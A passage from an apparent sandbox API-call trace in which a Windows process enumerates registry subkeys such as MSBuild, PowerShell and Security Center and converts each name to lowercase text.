lpName="Mobile") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x3ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x3eb930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x3eb930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x3eb930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x3eb930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0026.490] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x3eb930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x3ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x3eb930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x3eb930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x3eb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x3eb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x3ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x3eb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x3eb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x3ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x3eb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0026.491] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x3eb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0026.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x3ec0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x3eb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x3ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x3eb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x3eb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x3ec120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x3eb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x3ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x3eb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x3eb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x3ec0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0026.492] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x3eb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x3ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x3eb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x3ec0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x3eb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x3eb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x3ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x3eb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x3eb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x3ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x3eb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x3ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x3eb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0026.493] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x3eb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0026.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x3eb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x3ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x3eb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x3ec120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x3eb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x3ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x3eb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x3ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x3eb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x3ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x3eb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x3eb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x3ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0026.494] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x3eb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0026.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x3ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x3eb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x3ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x3eb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x3eb930, cchName=0x104 | out: lpName="Shared") returned 0x0 